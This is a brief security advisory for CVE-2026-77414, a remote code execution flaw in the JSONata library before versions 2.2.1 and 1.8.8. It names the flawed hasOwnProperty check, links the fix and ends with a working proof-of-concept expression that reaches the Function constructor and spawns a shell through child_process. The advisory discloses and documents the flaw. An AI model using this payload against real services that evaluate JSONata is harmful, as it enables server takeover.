CVE-2026-77414

Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to a bypassable `hasOwnProperty` check in `environment.lookup` https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871 This was fixed in https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865) which is included in the `2.2.1` release, and then back-ported to the `1.8.8` release. ## PoC ```js import jsonata from "jsonata"; const expression = jsonata(` ( $hasOwnProperty := $spread($string); $__proto__ := $constructor; $constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")(); )`); await expression.evaluate({}); ```